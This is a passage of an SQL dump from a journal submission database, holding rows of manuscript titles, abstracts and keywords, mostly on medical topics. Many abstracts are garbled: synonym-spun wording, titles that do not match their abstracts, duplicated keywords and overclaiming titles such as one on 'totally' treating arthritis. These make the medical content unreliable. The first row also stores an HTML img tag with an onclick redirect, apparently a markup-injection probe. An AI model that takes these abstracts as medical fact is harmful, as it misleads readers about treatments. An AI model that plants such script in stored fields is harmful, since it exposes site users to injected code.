src=\"https://www.itmedicalteam.pl/admin/flyers/archives-in-cancer-research-flyer.jpg\" onclick=\"window.location.href(\'https://google.com\');\"></img>',5347,'','2022-12-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-12-05',1),(13232,13437,971,0,'','https://google.com','',1,0,'Coronavirus Clean','https://google.com','https://google.com',4933,'','2022-12-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2022-12-05',1),(13245,13448,996,0,'','aadadadada','',1,0,'ada','adada','adada',5420,'','2022-12-03',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-06',1),(13265,13469,45,0,'','asgfag','',24,0,'','asgsagsagsa','',5416,'','2022-12-11',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-14',1),(13269,13474,85,0,'','Gamification to support health promotion initiatives in the context of COVID-19 for adults','',5,0,'','Due to the COVID-19 pandemic, more services are now being delivered digitally, including programmes for health promotion. User participation must be carefully considered in health promotion programmes. The use of gamification for older adults in a variety of health sectors has shown generally cautiously favourable outcomes, while more evidence is required. Gamification is a tactic used to engage and encourage people. It is possible to draw on the data to further create gamification efforts for people living in the Western Pacific area in order to favourably affect healthy behaviours and health outcomes. Gamification has been employed as a tactic in COVID-19 related projects. There is a need to focus on healthy ageing measures both for the growing elder population worldwide and for Those who are older now, as well as those who will be older in the future, should age healthily throughout their lives. According to the United Nations\' World Population Ageing Report, there were million individuals worldwide who were 65 or older as of the year, and that number is predicted to increase to 1.5 billion in the following 30 years. More than 240 million people live in the Western Pacific Region, and those over 65 represent the age group with the largest growth rate. 2 Healthy ageing has elevated to a global and regional priority as the population ages. In response, the Western Pacific Regional Office of the World Health Organization has created a \"Regional Action Plan on Healthy Aging in the Western Pacific.\"','Gamification; Health promotion; Older adults; COVID-19; Digital inclusion; Western Pacific',3282,'','2022-12-12',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-15',1),(13297,13506,975,0,'','The security and viability of bone marrow determined the transplantation of mesenchymal undifferentiated organisms in patients.','',5,0,'','In patients with ALS, our research demonstrated that the safe application of BM-MSCs via IT and IV is feasible. In addition, a single administration of BM-MSCs via IT and IV showed a brief delay in the progression of ALS. If BM-MSCs are used repeatedly, further research is needed to see if this has any effect on ALS survival and progression. Amyotrophic lateral sclerosis (ALS) can be slowed down with treatments based on stem cells, which have shown promise. Autologous bone marrow-derived mesenchymal stem cell (BM-MSC) concurrent intrathecal (IT) and intravenous (IV) administration of BM-MSCs in ALS patients was the subject of this prospective, open-label, single-center study without a placebo control group. Under normal circumstances, autologous BM-MSCs were isolated and expanded. Before receiving BM-MSCs (1  10 cells/kg BW) for transplantation, fifteen patients underwent neurological examinations to determine the rate of disease progression prior to treatment. Patients were examined one, three, and six months after receiving BM-MSC treatment to determine their safety and effectiveness. The ALS functional rating scale-revised (ALSFRS-R) and forced vital capacity (FVC) were used to assess adverse reactions and determine clinical outcome. After administering BMMSCs via IV and IT, no serious adverse reactions were observed. During the first three months of treatment, the mean ALSFRS-R and FVC values remained constant. However, six months after receiving BM-MSCs, these patients experienced a significant drop in ALSFRS-R and FVC levels.','Stem cell therapy, Clinical trial, Amyotrophic lateral sclerosis',5424,'','2022-12-13',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-15',1),(13283,13309,326,0,'','A Review on Procedures and Methods of Oral Surgery','',19,0,'','With the current widespread use of three-dimensional (3D) facial surface imaging in clinical and research environments, there is a growing demand for high-quality craniofacial norms based on 3D imaging technology. The principal goal of the 3D Facial Norms (3DFN) project was to create an interactive, Web-based repository of 3D facial images and measurements. Unlike other repositories, users can gain access to both summary-level statistics and individual-level data, including 3D facial landmark coordinates, 3D-derived anthropometric measurements, 3D facial surface images, and genotypes from every individual in the dataset. The 3DFN database currently consists of 2454 male and female participants ranging in age from 3 to 40 years. The subjects were recruited at four US sites and screened for a history of craniofacial conditions. The goal of this article is to introduce readers to the 3DFN repository by providing a general overview of the project, explaining the rationale behind the creation of the database, and describing the methods used to collect the data. Sex- and age-specific summary statistics (means and standard deviations) and growth curves for every anthropometric measurement in the 3DFN dataset are provided as a supplement available online. These summary statistics and growth curves can aid clinicians in the assessment of craniofacial dysmorphology.\r\nThe success of investigations into the underlying causes and effective treatment of craniofacial malformations depends on the acquisition of objective, reliable, and carefully collected data on the craniofacial phenotype. Many individuals with congenital anomalies that affect the head and face present with subtle morphologic disturbances. Implicit in any description of facial dysmorphology is the notion that the phenomenon under consideration represents a deviation from some “normal” or baseline state. Thus, all descriptions of dysmorphology are inherently comparative by nature. As a consequence, an understanding of what constitutes the range of normal variation for craniofacial features is essential. Although attempts to quantify the human face date back to antiquity, standardized methods for measuring the human face were only developed in the early 20th century. In response to the clinical community\'s need for population-based norms, large datasets comprising standardized facial anthropometric or cephalometric measures were eventually constructed. In order to fully capture the variation present in the general population while simultaneously providing age-, sex-, and ethnicity-specific normative data, large numbers of healthy individuals were required for these databases. Clinicians and researchers routinely use these normative datasets to determine how measurements from a particular patient or subject compare with those of their peers and to perform group-based morphologic comparisons. When quantitative measurements are combined with genomic information within a single craniofacial database, the possibility of mapping the genes that underlie normal variation in craniofacial traits becomes possible.','three-dimensional (3D) facial surface; dysmorphology; anthropometric; morphologic comparisons',3103,'','2022-12-13',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-15',1),(13316,13488,667,0,'','A Review of Orthopaedic Transplant Patient Comfort and the Viability of Using Telemedicine','',14,0,'','Background: Due to a lack of routine follow-ups, inpatient, and outpatient-based therapies, the current COVID-19 pandemic has an impact on the morbidities of orthopaedic patients. Telemedicine has recently been a viable option for delivering healthcare to patients and disseminating vital information on orthopaedic self-care and medications that may be used without a trip to the hospital. Telemedicine is sure to have some restrictions as well, though, because no physical examination is conducted. The purpose of this study is to evaluate how well proactive telemedicine keeps track of orthopaedic patients and how satisfied those patients are with telemedicine as a different means of therapy delivery.\r\nMethods: The follow-up patients who visited the orthopaedic outpatient department in February 2020 were included in this one-month cross-sectional study. The patients were referred to in order. On a daily basis, in the sequence of their registration. Patients who gave their consent received telemedicine-based consultations, while those who required physical examinations were contacted for outpatient visits after submitting the necessary documentation. For various diagnosis-based groups, the response rates and the number of patients requiring in-person visits were counted. Patients were asked to respond to a questionnaire about telemedicine, including questions about how satisfied they were with it overall, how effective it was, and how simple it was to follow the telemedicine-based treatment.\r\nResults: Telemedicine had an 88.67% response rate. 71.43% of patients who used telemedicine were treated without the need for in-person visits to the outpatient department. The most frequent justifications for recommending physical outpatient visits were the need for a physical examination and ineffective patient-doctor communication. 92% of people were satisfied with telemedicine overall, and 7.2% were not satisfied. of patients found it challenging to comprehend or implement telemedicine-based advice.\r\nConclusions: Telemedicine can successfully reduce the need for follow-up visits by orthopaedic patients to outpatient departments. Telemedicine has a high response rate and overall patient satisfaction. To make telemedicine a viable substitute for in-person orthopaedic consultations in the current context, more work must be done to increase its utilisation and overcome its shortcomings, particularly those relating to failed communications.','Orthopaedics; Patient care; Patient satisfaction; Telemedicine',3322,'','2022-12-13',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-15',1),(13314,13407,91,0,'','Implications on Medical Illness and Manganese Glutathione Peroxidase','',2,0,'','Redox equilibria and the regulation of redox flagging assume pivotal parts in physiological cycles. Redox homeostasis is compromised, oxidative stress rises, and the body\'s antioxidant defenses are disrupted, resulting in the development of a number of diseases. One of the most important antioxidant enzymes, manganese superoxide dismutase (MnSOD) converts superoxide anion radicals into hydrogen peroxide and oxygen in mitochondria to protect cells from oxidative damage. MnSOD\'s crucial role in a variety of diseases has been established by systematic research. The mechanisms of MnSOD in diseases accompanied by an imbalanced redox status, such as fibrotic diseases, inflammation, diabetes, vascular diseases, neurodegenerative diseases, and cancer, are the focus of this review, which focuses on preclinical evidence. Additionally, MnSOD mimetics and MnSOD activators\' potential therapeutic effects are discussed. Understanding the therapeutic function of MnSOD may provide beneficial insight into the prevention and treatment of related diseases, and focusing on this specific superoxide anion radical scavenger may be a clinically beneficial strategy.','MnSOD; oxidative stress; ROS; human diseases; MnSOD mimetics',1325,'','2022-12-14',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-16',1),(13310,13520,251,0,'','Monitoring of Natural Occurrence','',5,0,'','The fungus Parastagonospora nodorum is the causal agent of septoria nodorum leaf blotch (SNB) and glume blotch which are common in many wheat growing regions in the world. The disease is complex and could be explained by multiple interactions between necrotrophic effectors secreted by the pathogen and matching susceptibility genes in wheat. An Australian P. nodorum population was clustered into five groups with contrasting properties. This study was set to identify their pathogenicity profiles using a diverse wheat panel of 134 accessions which are insensitive to SnToxA and SnTox1 in both in vitro and in vivo conditions. SNB seedling resistance/susceptibility to five representative isolates from the five clusters, responses to crude culture-filtrates (CFs) of three isolates and sensitivity to SnTox3 semi-purified effector together with 11,455 SNP markers have been used for linkage disequilibrium (LD) and association analyses. The occurrence of necrotrophic winter wheat and triticale pathogens in eight geographical regions of Poland was studied between 2015 and 2020. Over a period of six years, the incidence of the following pathogens was monitored: Parastagonospora nodorum, Parastagonospora Avenue and Zymoseptoria tritici. The significant effect of meteorological factors on the incidence of pathogens was determined. The relationship between late-season and early-season factors associated with temperature and precipitation on the severity of diseases incited by the pathogens was statistically significant.\r\nWheat is one of the most important crops in Turkey. Production of this crop is constrained by the disease Septoria leaf blotch, which is a major bottleneck in wheat production in the Eastern Mediterranean Region of Turkey. ','Parastagonospora spp.; Zymoseptoria tritici; machine learning; wheat; triticale',782,'','2022-12-14',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-16',1),(13306,13516,326,0,'','Hysterectomy Surgery: Identifying What Matters to Hysterectomy','',5,0,'','Hysterectomy is the most common no obstetrical surgery for women in the United States. Few investigations comparing hysterectomy surgical approaches include patient-centered outcomes.\r\nAlmost a third of women with leiomyoma’s will request treatment due to symptoms. Current management strategies mainly involve surgical interventions, but the choice of treatment is guided by patient\'s age and desire to preserve fertility or avoid ‘radical’ surgery such as hysterectomy. The management of uterine fibroids also depends on the number, size and location of the fibroids. Other surgical and non-surgical approaches include myomectomy by hysteroscopy, myomectomy by laparotomy or laparoscopy, uterine artery embolization and interventions performed under radiologic or ultrasound guidance to induce thermal ablation of the uterine fibroids.\r\nThere are only a few randomized trials comparing various therapies for fibroids. Further investigations are required as there is a lack of concrete evidence of effectiveness and areas of uncertainty surrounding correct management according to symptoms. The economic impact of uterine fibroid management is significant and it is imperative that new treatments be developed to provide alternatives to surgical intervention.','Hysterectomy, Focus groups, Qualitative data analysis, Surgery, Gynecology',3103,'','2022-12-14',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-16',1),(13328,13533,85,0,'','Public health and ethics approach to the evidence Cotrimoxazole guidelines for infants who are HIV-exposed','',5,0,'','Cotrimoxazole prophylaxis was first advised by WHO for all newborns who are HIV-exposed but uninfected because to this medication\'s capacity to reduce pneumocystis pneumonia-related mortality in HIV-positive adults. The use of cotrimoxazole prophylaxis in babies who are HEU has been supported by research for the past 21 years, including two randomised controlled studies that found no therapeutic benefit, an increase in antibiotic resistance, and microbiome dysbiosis. Additionally, advancements in medical care over the past 20 years have significantly decreased the risk of HIV transmission as well as the overall morbidity and mortality of infants who are HEU from pneumonia and diarrheal diseases. These advancements include antiretroviral treatment and prophylaxis for mothers and infants as well as noticeably improved vaccination programmes. Here, we emphasise these modifications.','Gamification; Health promotion; Older adults; COVID-19; Digital inclusion; Western Pacific',3282,'','2022-12-17',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-17',1),(13327,13474,85,0,'','Gamification to support health promotion initiatives in the context of COVID-19 for adults','',5,0,'','Due to the COVID-19 pandemic, more services are now being delivered digitally, including programmes for health promotion. User participation must be carefully considered in health promotion programmes. The use of gamification for older adults in a variety of health sectors has shown generally cautiously favourable outcomes, while more evidence is required. Gamification is a tactic used to engage and encourage people. It is possible to draw on the data to further create gamification efforts for people living in the Western Pacific area in order to favourably affect healthy behaviours and health outcomes. Gamification has been employed as a tactic in COVID-19 related projects. There is a need to focus on healthy ageing measures both for the growing elder population worldwide and for Those who are older now, as well as those who will be older in the future, should age healthily throughout their lives. According to the United Nations\' World Population Ageing Report, there were million individuals worldwide who were 65 or older as of the year, and that number is predicted to increase to 1.5 billion in the following 30 years. More than 240 million people live in the Western Pacific Region, and those over 65 represent the age group with the largest growth rate. 2 Healthy ageing has elevated to a global and regional priority as the population ages. In response, the Western Pacific Regional Office of the World Health Organization has created a \"Regional Action Plan on Healthy Aging in the Western Pacific.\"','Gamification; Health promotion; Older adults; COVID-19; Digital inclusion; Western Pacific',3282,'','2022-12-17',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-17',1),(13330,13535,971,0,'','Smart phones surveillance methods','',14,0,'','Smart phone surveillance is a sensitive issue, so topical and important, which is about everyday life of all of us, I am talking about the smart phones, small smart phones, these small but powerful computers that everybody use them everyday by doing more internet browsing rather than doing calls. The questions that arise about the security of smart phones are many, for example: may someone watch us? may the government hear what we saying and what messages we send? may they know our location? How much important meta-data is and to what extent it can reveal important information about the subscribers identity and how it relates to privacy and personal data. Finally, it is worth mentioning the participation of mobile phone providers in various government monitoring projects of the citizens either with targeted software which is not detectable, or with the direct access to the Servers of the providers for copying sensitive information without of course the consent of the subscribers. Such projects are the Carnivore, Prism, and other projects, and the countries involved in information exchange programs are behind lists identified as 5 Eyes, 9 Eyes, and 14 Eyes. ','',5425,'','2022-12-17',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-17',1),(13346,13550,73,0,'','Ciliopathies, primary cilia ablation in neurodevelopmental disorders','',19,0,'','','',334,'','2022-12-21',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-23',1),(13355,13556,975,0,'','dr.','',14,0,'','Background:\r\n     Breast cancer is responsible for the death of millions of women worldwide every year. Several clinical, diagnostic, and pathological techniques have been introduced to detect the disease early. One of these techniques was developed to detect extracellular vesicle exosomes and phosphoproteins as a product of cancer cells.\r\nObjective:\r\n-	Investigating the role of exosome and (PRKG1) in detecting breast cancer in patients with breast tumors.\r\nSubjects and Methods:\r\nThis case-control study was conducted on (105) women. They were divided into 3 groups, group I of (35) patients with malignant breast tumors, group II of (35) patients with benign breast tumors, and group III which of (35) matched healthy subjects as control. Ten (10) milliliters of blood sample was obtained from patients submitted for surgery (mastectomy or lumpectomy) by venipuncture just before the operation, they were collected during the period between April -December 2018 in Al-Imamain Al-Kadhymeaain Medical City, Baghdad, Iraq.\r\nplasma Exosomes and exosomal (PRKG1) were measured by the ELIZA technique. Serum Cancer antigen 15-3 measured by ELIZA technique. \r\nResults:\r\nThere is a significant difference in the levels of exosomes and the (PRKG1) between the breast cancer group and the control group (p> 0.001). Also, significant differences were found between the breast cancer and benign group, and between the benign and control groups. In the concentration of antigen 15-3, a significant difference was found between the breast cancer group control groups (p= 0.003). In contrast, there are no significant differences observed between the breast cancer and benign group (p=0.187) and between the benign and control group (p=0.205).\r\nConclusions:\r\nExosomes and exosomal (PRKG1) levels would be excellent biomarkers for early detection and diagnosis of breast cancer and also can differentiate between malignant and benign breast tumors by acting as a non-invasive liquid biopsy. Cancer antigen 15-3 marker has many limitations.\r\n','Breast cancer, cGMP, PRKG1',5422,'','2022-12-30',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2022-12-30',1),(13383,13582,959,0,'','Multiple primary lung cancers','',19,0,'','Lung cancer is now the leading cause of death in both men and women worldwide. There is no clear reason for its high mortality rate. However, genetic and environmental factors, as well as oncological treatment, are already known to be involved. As the incidence of lung cancer rises, so does the number of patients diagnosed with multiple primary lung cancers (MPLC). While distinguishing between MPLC and intrapulmonary lung cancer metastasis is important for treatment strategy and prognosis, it is also quite complicated, especially in cases with similar histologies. It is also critical not to postpone the diagnosis. The purpose of this paper was to talk about MPLC in general, and how to tell the difference between MPLC and intrapulmonary lung cancer metastasis in particular. We discuss the diagnostic criteria and molecular, genetic, and radiographic methods used to differentiate between MPLC and intrapulmonary metastases based on a review of statistical data and the current literature.','',4739,'','2023-01-10',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-01-12',1),(13381,13580,959,0,'','Upper Extremity Nerve Tumours','',19,0,'','Hand surgeons frequently meet neoplastic diseases in the upper extremity nerve sheath tumours. The majority of these tumours, which may be linked to neurofibromatosis, are benign schwannomas or neurofibromas. Newly developing discomfort and fast growth are two clinical indicators of malignant transformation. The diagnosis of a malignant tumour may be aided by imaging characteristics, such as a standardised uptake value more than 4.0 on a PET scan. Benign lesions should be treated surgically, frequently with intrafascicular dissection and nerve preservation. Malignant lesions are suggested for wide surgical excision.','',5428,'','2023-01-10',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-01-12',1),(13385,13584,959,0,'','Difference Types of Cancer therapeutics','',19,0,'','Survivin (also known as BIRC5) is an established cancer therapeutic target. Survivin\'s use as a target for cancer therapeutics has remained a central goal of survivin research in the cancer field since its discovery more than two decades ago. Many studies have provided intriguing insight into survivin\'s functional role in cancers, suggesting that survivin may hold promise as a cancer therapeutic target. Despite this, getting survivin-targeting agents into and through clinics remains difficult. To address this issue, we may need to reconsider current strategies and develop a new mindset for targeting survivin.  In this Review, we will first summarise current survivin mechanistic studies, followed by a discussion of the status of survivin cancer therapeutics, which are divided into five categories: I survivin-partner protein interaction inhibitors, (ii) survivin homodimerization inhibitors, (iii) survivin gene transcription inhibitors, (iv) survivin mRNA inhibitors, and (v) survivin immunotherapy. We will then share our perspectives on cancer therapeutics that use survivin as a target, with the goal of sparking discussion that will aid in the discovery of improved strategies and/or more effective anticancer agents that target survivin for cancer therapy.','',5428,'','2023-01-10',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-01-12',1),(13393,11550,639,0,'','Synthetase Accuracy and reliability Transmission during Catfish Freshness Assessment','',19,0,'','When compared to other muscle products, aquatic products, particularly fish, are extremely perishable due to their distinct biological makeup. Hypoxanthine (Hx), an indicator of fish freshness, can be colorimetrically detected by an artificial nanozyme in this paper without the assistance of a natural enzyme (hypoxanthine oxidase). The interaction of Hx with polyvinylpyrrolidone-modified platinum cubic nanomaterials (PVP-PtNC), in which Hx blocked the surface\'s catalytic active sites, serves as the foundation for the principle. PVP-PtNC\'s ability to catalyze the oxidation of 3,3?,5,5?-Tetramethylbenzidine (TMB) by H2O2 is hindered by this downregulation of its catalytic ability. This results in a ratio of one to one between the concentration of Hx and the decrease in UV–vis absorption and the weakening of the colorimetric reaction color. A target-triggered colorimetric method that is quick to detect, inexpensive, accurate, and simple to use is developed for fish freshness monitoring. The fact that Hx was found in actual fish, in particular, suggests that the method has a promising future in the real world. The correlation response of Hx is found to range from 0.5 M to 10 mM in experiments, with a limit of detection of 0.16 M. Each of these properties is expected to encourage the creation of online tools for monitoring food safety.','fish freshness; platinum nanocube; hypoxanthine',1777,'','2023-01-10',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-01-12',1),(13394,12803,639,0,'','Complexity and Pathogens Characteristics of Sedative Freshwater fish Pathogens.','',15,0,'','The toxin-producing microalgae are the cause of numerous harmful algal blooms. An outbreak of paralytic shellfish poisoning (PSP) poses the greatest threat to the fishing industry and public health in the Patagonian fjords. The toxicity of PSP in the foot of Concholepas concholepas, Chile\'s most valuable commercial benthic invertebrate species, will be better understood thanks to this study\'s findings. Concholepas concholepas is harvested from Chilean Patagonia\'s Guaitecas Archipelago. The goal is to find out how freezing and removing pigment affect the detoxification process. From this area, 150 specimens with a length of less than 90 mm were collected. The live specimens were brought to a processing plant, where they were measured, gutted, and divided into two equal parts. One of the parts had pigment removed manually, and the foot was cut in half. A mouse bioassay (MBA) and high-performance liquid chromatography with fluorescence detection and postcolumn oxidation (HPLC-FLD PCOX) were used to evaluate the PSP toxicity of each foot\'s edible tissue. When MBA and HPLC were used, the species\' local toxicity ranged from 30 to 146 g STX diHCL equivalent per loco (CV = 43.83%) and 5.96 to 216.3 g STX diHCL equivalent per loco (CV = 34.63%), respectively. Individual weight and toxicity were found to have a negative correlation, according to a generalized linear model. GTX2, STX, and neoSTX2 were the most prevalent (>95 percent), as demonstrated by the toxicological profile. When pigment was removed, PSP\'s toxicity decreased by up to 90%, allowing it to continue being an effective detoxification method. There was no discernible pattern created by the pigmented muscle\'s freezing process. MBA does not reduce PSP toxicity, whereas PCOX does (p 0.05). Small-scale fisheries management and commercialization implications are also discussed in the study.','pigment; Chilean Patagonia; MBA; HPLC-FLD PCOX',1777,'','2023-01-10',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-01-12',1),(13405,13596,959,0,'','Lung cancers','',15,0,'','In addition to lymph nodes and other bodily organs including the brain, lung cancer can also start in the lungs. Lung cancer can potentially spread from other organs. Metastases are cancer cells that have spread from one organ to another. Small cell and non-small cell lung tumours are the two primary subtypes that are typically recognised (including adenocarcinoma and squamous cell carcinoma). These distinct forms of lung cancer develop differently and respond to various therapies. Compared to small cell lung cancer, non-small cell lung cancer is more prevalent.','',4739,'','2023-01-12',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-01-18',1),(13426,13613,996,0,'','Neurolysin Medication hypodermal injection are used to Treat Shoulder Ossification','',19,0,'','Spasticity of the top extremity can bring about extreme pain, in conjunction with many headaches which could impair a affected person\'s sports of day by day living. Failure to deal with sufferers with spasticity of the top limb can bring about a lower withinside the variety of movement of joints and contracture improvement, main to similarly limit in day by day sports. We aimed to research the exercise styles of Canadian physicians who make use of Neurolysin type-A (BoNT-A) injections withinside the control of shoulder spasticity. 50 Canadian Physical Medicine and Rehabilitation (PM&R) physicians finished a survey with an expected of of entirety price of (36.23%). The demographics of the survey members got here from lots of provinces, medical settings, and affected person populations. The maximum not unusualplace muscle injected for shoulder adduction and inner rotation spasticity turned into the pectoralis major, this turned into observed via way of means of latissimus dorsi, pectoralis minor, subscapularis and teres major. Injection of BoNT-A for complex post-stroke shoulder spasticity turned into not unusualplace, with (81.48%) of members responding that it turned into continually or frequently used of their control of post-stroke spasticity (PSS). Dosing of BoNT-A proven variability for the muscle injected in addition to the kind of toxin used. The dreams of the sufferers, caregivers, and practitioners had been used to assist manual the control of those sufferers. As a result, the exercise styles of Canadian physicians who deal with shoulder spasticity are varied, because of severa affected person factors. Future research are wished to research premiere remedy styles, and the improvement of algorithms to standardize care.','muscle spasticity; spastic hemiplegia',3649,'','2023-01-19',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-01-21',1),(13425,10272,996,0,'','Hexadrol Functionalized Molecules can Effectively Cure Rheumatoid Arthritis','',15,0,'','Rheumatoid arthritis (RA) is a chronic systemic immune disease that causes joint disease and even disability. Activated macrophages play an important role in the pathogenesis and progression of RA by inducing inflammatory factors. The use of Hexadrol (DXM) is effective in reducing the intractable pain and inflammatory progression of rheumatoid arthritis. However, long-term use of DXM is strongly associated with increased rates of diabetes, osteoporosis, fractures, and mortality, hindering its clinical use. In this study, dextran sulfate-cisaconitic anhydrite-Hexadrol () Molecules were prepared for the treatment of RA by selectively recognizing the scavenger receptor (SR) on activated macrophages. The strong targeting property of Molecules towards SR was obtained under fluorescence microscopy. In addition, effective accumulation and potent anti-inflammatory activity of Molecules were observed in the inflamed joints of rats with adjuvant-induced arthritis (AIA) after intravenous administration. Overall, Molecules are a potentially effective nanodrug for the targeted treatment of RA.','Hexadrol; rheumatoid arthritis; Molecules; targeted therapy',3649,'','2023-01-19',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-01-21',1),(13437,12576,73,0,'','White Matter Impairment and Cognitive Desecration after Traumatic Brain Injury','',14,2,'','White matter disruption is an essential determinant of cognitive impairment after brain damage, however conventional neuroimaging underestimates its volume. In comparison, diffusion tensor imaging presents a confirmed and sensitive way of figuring out the impact of axonal damage. the connection among cognitive impairment after traumatic brain injury and white matter damage is probably to be complicated. We implemented a flexible approach—tract-primarily based spatial statistics—to explore whether damage to particular white matter tracts is associated with particular patterns of cognitive impairment. The commonly affected domain names of memory, executive function and information processing speed were investigated in 28 patients within the post acute/chronic segment following traumatic brain injury and in 26 age-matched controls. evaluation of fractional anisotropy and diffusivity maps found out significant differences in white matter integrity among the groups. patients showed massive regions of reduced fractional anisotropy, as well as increased mean and axial diffusivities, compared with controls, despite the small amounts of cortical and white matter damage visible on preferred imaging. A stratified analysis primarily based at the presence or absence of microbleeds (a marker of diffuse axonal damage) revealed diffusion tensor imaging to be more sensitive than gradient-echo imaging to white matter damage. The region of white matter abnormality anticipated cognitive function to some extent. The structure of the fornices became correlated with associative learning and memory across both patient and control groups, while the structure of frontal lobe connections showed relationships with executive function that differed in the  groups. those results highlight the complexity of the relationships between white matter structure and cognition. although widespread and, sometimes, chronic abnormalities of white matter are identifiable following traumatic brain injury, the impact of these changes on cognitive function is likely to depend on damage to key pathways that link nodes in the distributed brain networks assisting high-level cognitive functions.','Traumatic Brain Injury; Diffuse Axonal Injury; Diffusion Tensor; Brain Behaviour and Relationships; Cognitive Impairment',340,'','2023-01-21',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-01-23',1),(13443,13613,996,0,'','Decadron-Based Medication can be used to Totally Treat Arthritis','',19,0,'','Arthritis is a chronic systemic immune disease that causes joint disease and even disability. Activated macrophages play an important role in the pathogenesis and progression of RA by inducing inflammatory factors. The use of decadrone (DXM) is effective in suppressing the progression of intractable pain and inflammation in rheumatoid arthritis. However, long-term use of DXM is strongly associated with diabetes, osteoporosis, fractures, and increased mortality, hindering its clinical use. In this study, we prepared dextran sulfate sisaconite anhydrous decadrone () molecule for the treatment of RA by selectively recognizing scavenger receptors (SR) on activated macrophages. A strong alignment property of the molecules on the SR was obtained under a fluorescence microscope. Moreover, a strong accumulation of the molecule and potent anti-inflammatory activity were observed after intravenous administration into inflamed joints in rats with adjuvant-induced arthritis (AIA). Overall, Molecules are potentially potent nanodrugs for targeted therapy of RA.','Decadron ; rheumatoid arthritis; Molecules; targeted therapy',3649,'','2023-01-24',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-01-25',1),(13450,13613,996,0,'','Participation of Blisters and their Role in the Formation of Scar Tissue that Causes Joint Pain','',15,0,'','Pediatric systemic lupus erythematosus (cSLE) occurs in more than 50% of patients with central nervous system \"CNS\" involvement. Structural magnetic resonance imaging (MRI) confirmed global brain atrophy and involvement of the corpus callosum and hippocampus associated with cognitive deficits. In this cross-sectional study, we included 71 of her cSLE patients (mean age 24.7 years (SD 4.6), disease duration 11.8 years (SD 4.8)) and her 2 controls. Similar disease duration in 49 adult SLE (aSLE) patients (mean age 33.2 (SD 3.7)) (2) and similar disease duration in 58 healthy controls (mean age 29.9 years (DP 4.1)). Year. All subjects were examined on the day of MRI scan (Phillips 3T scanner) and medical records were reviewed to obtain clinical and immunological characteristics and treatment history of SLE patients. Segmentation of the corpus callosum was performed using an automated segmentation method. Patients with cSLE had similar midsagittal regions of the corpus callosum compared with patients with aSLE. Significantly lower FA scores and significantly higher MD, RD, and AD scores were observed across the corpus callosum region and plots B, C, D, and E in cSLE patients compared with aSLE patients. paddy field. Low complement, the presence of anticardiolipin antibodies, and cognitive deficits were associated with ultrastructural changes. In conclusion, major ultrastructural changes in the corpus callosum were observed in cSLE adults compared with aSLE adults. Longitudinal studies are needed to track these changes, but they may explain the cognitive decline and impairment seen in adults with cSLE compared to aSLE.','corpus callosum; atrophy; Rheumatoid',3649,'','2023-01-27',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-01-30',1),(13499,13672,45,0,'','Network of water management in the literature from 2019 to 2023','',14,0,'','The press, by spreading the availability of resources, scarcity linked to preservation. In this sense, the work explores nine sessions from 2019 to 2023 published in national newspapers regarding the lack of supply, quality, benefits, punishment and discomfort as a consequence of the water situation in an eastern demarcation of Mexico. City. Framing the Water Situation Index (IESH) is used to weight the partiality of the media in the content information note, reaching a value of 102 points out of a total of 180. This finding was considered as evidence of a moderate degree of media coverage of the press regarding the problems arising from water scarcity. Based on the results, their implications with other studies carried out in the demarcation are analyzed','Climate Change, Cost, Quality, Scarcity, Management',691,'','2023-02-13',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-02-16',1),(12763,12802,639,0,'','Yy','',4,1,'6','Y','Y',4822,'','2022-05-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-02-17',1),(13294,13502,975,0,'','Non-Specific Low Back Pain in Basketball Players.','',5,0,'','The lumbar spine is a difficult biomechanical component of athletic injuries, particularly those that affect basketball players. Diagnostic imaging and provocative testing are specific in other parts of the body, like lateral ankle sprains and rotator cuff injuries. However, because of the lumbar spine\\\'s overlapping anatomy, layers of musculoskeletal tissues, fascia, and intervertebral discs (IVD) can contribute to pain. The goal of this presentation is to educate 